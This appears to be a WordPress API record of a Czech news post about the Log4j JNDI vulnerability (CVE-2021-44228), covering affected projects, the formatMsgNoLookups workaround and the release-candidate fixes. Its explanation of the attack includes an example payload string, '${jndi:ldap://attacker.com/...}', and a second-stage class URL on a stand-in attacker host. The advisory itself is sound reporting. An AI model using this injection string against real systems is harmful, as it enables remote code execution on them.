{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Katastrof\u00e1ln\u00ed zranitelnost v Apache Log4j, kter\u00e1 zasahuje mnoho Java projekt\u016f.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Ve frameworku Apache Log4j, popul\u00e1rn\u00edm syst\u00e9mu pro spr\u00e1vu log\u016f v Java aplikac\u00edch, byla odhalena kritick\u00e1 zranitelnost, kter\u00e1 umo\u017e\u0148uje prov\u00e1d\u011bt libovoln\u00fd k\u00f3d p\u0159i z\u00e1pisu speci\u00e1ln\u011b form\u00e1tovan\u00e9 hodnoty do logu ve form\u00e1tu \"{jndi:URL}\". \u00datok m\u016f\u017ee b\u00fdt proveden na Java aplikace, kter\u00e9 zapisuj\u00ed do logu hodnoty z\u00edskan\u00e9 z extern\u00edch zdroj\u016f, nap\u0159\u00edklad p\u0159i zobrazov\u00e1n\u00ed probl\u00e9mov\u00fdch hodnot v chybov\u00fdch hl\u00e1\u0161en\u00edch. <\/p>\n

Je zaznamen\u00e1no, \u017ee probl\u00e9mu jsou t\u00e9m\u011b\u0159 v\u0161echny projekty, kter\u00e9 pou\u017e\u00edvaj\u00ed takov\u00e9 r\u00e1mce jako Apache Struts, Apache Solr, Apache Druid nebo Apache Flink, v\u010detn\u011b Steam, Apple iCloud, klient\u016f a server\u016f hry Minecraft. O\u010dek\u00e1v\u00e1 se, \u017ee zranitelnost m\u016f\u017ee v\u00e9st k vln\u011b masov\u00fdch \u00fatok\u016f na firemn\u00ed aplikace, opakuj\u00edc\u00ed historii kritick\u00fdch zranitelnost\u00ed v r\u00e1mci Apache Struts, kter\u00fd je podle p\u0159ibli\u017en\u00fdch odhad\u016f vyu\u017e\u00edv\u00e1n ve webov\u00fdch aplikac\u00edch 65 % spole\u010dnost\u00ed z \u017eeb\u0159\u00ed\u010dku Fortune 100. Byly ji\u017e zaznamen\u00e1ny pokusy o skenov\u00e1n\u00ed s\u00edt\u011b na zraniteln\u00e9 syst\u00e9my. <\/p>\n

Probl\u00e9m se zhor\u0161uje t\u00edm, \u017ee ji\u017e byl zve\u0159ejn\u011bn funk\u010dn\u00ed exploit, ale opravy pro stabiln\u00ed v\u011btve zat\u00edm nebyly formulov\u00e1ny. CVE identifik\u00e1tor zat\u00edm nebyl p\u0159id\u011blen. Oprava byla zahrnuta pouze do testovac\u00ed v\u011btve log4j-2.15.0-rc1. Jako obch\u00e1zej\u00edc\u00ed opat\u0159en\u00ed k zablokov\u00e1n\u00ed zranitelnosti se doporu\u010duje nastavit parametr log4j2.formatMsgNoLookups na hodnotu true. <\/p>\n

Probl\u00e9m byl zp\u016fsoben t\u00edm, \u017ee log4j podporuje zpracov\u00e1n\u00ed speci\u00e1ln\u00edch masek \"{}\" ve vypsan\u00fdch logov\u00fdch \u0159et\u011bzc\u00edch, ve kter\u00fdch mohly b\u00fdt prov\u00e1d\u011bny dotazy JNDI (Java Naming and Directory Interface). \u00datok spo\u010d\u00edv\u00e1 v zasl\u00e1n\u00ed \u0159et\u011bzce s substituc\u00ed \"${jndi:ldap:\/\/attacker.com\/a}\", p\u0159i jeho\u017e zpracov\u00e1n\u00ed log4j ode\u0161le na server<\/a> attacker.com LDAP dotaz na cestu k Java t\u0159\u00edd\u011b. Vr\u00e1cen\u00fd serverem<\/a> \u00fatokuj\u00edc\u00ed cesta (nap\u0159\u00edklad http:\/\/second-stage.attacker.com\/Exploit.class) bude sta\u017eena a provedena v kontextu aktu\u00e1ln\u00edho procesu, co\u017e \u00fato\u010dn\u00edkovi umo\u017en\u00ed dos\u00e1hnout proveden\u00ed libovoln\u00e9ho k\u00f3du v syst\u00e9mu s pr\u00e1vy aktu\u00e1ln\u00ed aplikace. <\/p>\n

Dodatek 1: Zranitelnosti byl p\u0159id\u011blen identifik\u00e1tor CVE-2021-44228. <\/p>\n

Dodatek 2: Byla zji\u0161t\u011bna cesta k obch\u00e1zen\u00ed ochrany p\u0159idan\u00e9 vyd\u00e1n\u00edm log4j-2.15.0-rc1. Byla navr\u017eena nov\u00e1 aktualizace log4j-2.15.0-rc2 s \u00fapln\u011bj\u0161\u00ed ochranou p\u0159ed zranitelnost\u00ed. V k\u00f3du se vyzna\u010duje zm\u011bna souvisej\u00edc\u00ed s absenc\u00ed havarijn\u00edho ukon\u010den\u00ed v p\u0159\u00edpad\u011b pou\u017eit\u00ed nespr\u00e1vn\u011b form\u00e1tovan\u00e9ho JNDI URL.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Katastrof\u00e1ln\u00ed zranitelnost v Apache Log4j, kter\u00e1 ovliv\u0148uje mnoho projekt\u016f v Jav\u011b | ProHoster","description":"V Apache Log4j, popul\u00e1rn\u00edm r\u00e1mci pro spr\u00e1vu log\u016f v aplikac\u00edch Java, byla odhalena kritick\u00e1 zranitelnost, kter\u00e1 umo\u017e\u0148uje prov\u00e1d\u011bt libovoln\u00fd k\u00f3d p\u0159i zapisov\u00e1n\u00ed speci\u00e1ln\u011b form\u00e1tovan\u00e9 hodnoty do logu.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0433\u0438\u0435 Java-\u043f\u0440\u043e\u0435\u043a\u0442\u044b | ProHoster","og:description":"\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432.","og:url":"https:\/\/prohoster.info\/cs\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-10T07:36:48+00:00","article:modified_time":"2021-12-10T07:36:48+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102562","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-10 07:37:47","updated":"2026-02-09 21:46:43","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=102562"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102562\/revisions"}],"predecessor-version":[{"id":172962,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/102562\/revisions\/172962"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=102562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=102562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=102562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}